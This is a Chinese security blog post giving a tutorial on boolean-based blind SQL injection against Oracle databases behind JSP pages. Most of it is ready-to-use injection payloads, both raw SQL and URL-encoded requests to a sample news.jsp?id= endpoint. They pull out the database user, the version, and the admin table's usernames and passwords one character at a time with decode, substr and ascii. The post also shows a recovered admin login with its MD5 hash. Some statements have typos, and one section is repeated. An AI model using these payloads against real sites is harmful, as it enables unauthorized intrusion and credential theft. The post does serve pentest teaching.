欢迎来到【血梦博客】 今天是:2021年03月08日 星期一
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> WEB安全之SQL注入:oracle +jsp 布尔型盲注入

WEB安全之SQL注入:oracle +jsp 布尔型盲注入

作者:血梦 日期:2020-03-19 浏览:293分类: 渗透测试 已提交百度收录

1、在oracle两种利用布尔型实现盲注入方法



l  是否存在注入 根据页面的返回不同 从而判断注入点。
l  出数据  通过注入点 构造的SQL语句 判断页面是否正常。



2、decode 盲注入


decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3
当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
使用方法:
比较大小
select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值
sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1
例如:
变量1=10,变量2=20
则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。
                              
1.png1+3=4 返回1 不等于返回0

select decode(1+3,4,1,0) from dual;
select decode(user,'SYSTEM',1,0) from dual;

获取当前用户 (select user from dual)
获取当前版本 (select banner from sys.v_$versionwhere rownum=1)
获取当前admin表的帐号和密码 (selectusername||password from admin)

获取字符长度

select length(user) from dual --
select * from artwhere id=1 and 6=(select length(user) from dual) --
http://www.jsporcle.com/news.jsp?id=1 and 6=(select length(user) from dual) --

当前用户第一个字母的是否等于S 等于返回1否则返回0

(selectd ecode(substr(user,1,1),'S',1,0) from dual) --
(selectd ecode(substr(user,2,1),'Y',1,0) from dual) --
(selectd ecode(substr(user,3,1),'S',1,0) from dual) --
(selectd ecode(substr(user,4,1),'T',1,0) from dual) --
(selectd ecode(substr(user,5,1),'E',1,0) from dual) --
(selectd ecode(substr(user,6,1),'N',1,0) from dual) --


测试当前用户语句
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

获取当前admin表的帐号和密码

select * from artwhere id=1 and 1=(select decode(substr((select username||password fromadmin),1,1),'a',1,0) from dual)
http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword fromadmin),1,1),'a',1,0)

from dual)
判断字符的字符
abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.


查询第二个的时候

http://www.jsporcle.com/news.jsp?id=1 and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0)from dual)




admin
用burpsuite测试盲注入

select * from art where id=1 and 37=(select length(username||password) from admin);

1559834202436471.png

猜解ascii码


substr截取字符串长度


ascii 把字符的ASCII转出来


(select ascii(substr(username||password,1,1)) from admin);

http://www.jsporcle.com/news.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97




第二个截取

http://www.jsporcle.com/news.jsp?id=1 and (select ascii(substr(username%7c%7cpassword,2,1)) from admin)=97




用burpsuite猜解第二个字符的ascii是100 转为字符就是d



admine10adc3949ba59abbe56e057f20f883e


3、盲注入通用 逐字猜解法
先获取数据长度
37=(select length(username||password)from admin)


转码测试
1559834246111706.png

  and 37=(select length(username%7c%7cpassword) from admin)--




3、盲注入通用 逐字猜解法



先获取数据长度
37=(select length(username||password)from admin)
转码测试

  and 37=(select length(username%7c%7cpassword) from admin)--
select * from artwhere id=1 and 37=(select length(username||password) from admin);


猜解ascii码


substr截取字符串长度


ascii 把字符的ASCII转出来

(select ascii(substr(username||password,1,1)) from admin);

1559834377124753.png

http://www.jsporcle.com/news.jsp?id=1and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97




第二个截取

http://www.jsporcle.com/news.jsp?id=1and (select ascii(substr(username%7c%7cpassword,2,1)) from admin)=97



用burpsuite猜解第二个字符的ascii是100 转为字符就是d

1559834422911929.pngadmine10adc3949ba59abbe56e057f20f883e

关灯